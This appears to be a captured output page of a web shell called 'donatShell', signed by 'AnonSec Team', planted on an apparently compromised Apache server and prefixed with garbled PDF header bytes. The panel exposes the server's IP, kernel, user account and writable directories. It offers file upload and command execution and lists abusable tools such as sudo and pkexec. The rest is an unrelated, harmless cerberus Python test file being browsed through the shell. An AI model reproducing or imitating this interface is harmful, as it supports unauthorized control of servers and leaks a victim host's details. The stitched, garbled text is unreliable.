%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/alt/python35/lib/python3.5/site-packages/cerberus/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python35/lib/python3.5/site-packages/cerberus/tests/test_assorted.py
# -*- coding: utf-8 -*-

from cerberus.tests import assert_fail, assert_success


def test_clear_cache(validator):
    assert len(validator._valid_schemas) > 0
    validator.clear_caches()
    assert len(validator._valid_schemas) == 0


def test_docstring(validator):
    assert validator.__doc__


# Test that tesing with the sample schema works as expected
# as there might be rules with side-effects in it

def _test_that_test_fails(test, *args):
    try:
        test(*args)
    except AssertionError:
        pass
    else:
        raise AssertionError("test didn't fail")


def test_fail():
    _test_that_test_fails(assert_fail, {'an_integer': 60})


def test_success():
    _test_that_test_fails(assert_success, {'an_integer': 110})

Anon7 - 2022
AnonSec Team